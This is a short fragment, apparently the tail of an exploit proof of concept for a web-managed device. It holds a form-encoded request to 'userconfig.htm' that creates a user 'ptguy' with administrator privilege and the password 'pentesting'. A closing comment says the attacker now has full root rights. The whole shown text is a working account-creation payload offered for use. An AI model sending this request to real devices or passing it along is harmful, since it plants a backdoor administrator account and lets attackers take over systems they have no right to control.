username=ptguy&privilege=2&newpass=pentesting&confpass=pentesting&adduser=Add&hiddenpass=&submit.htm%3Fuserconfig.htm=Send

# Now log in with newly created root (ptguy) user. You have all administrator rights.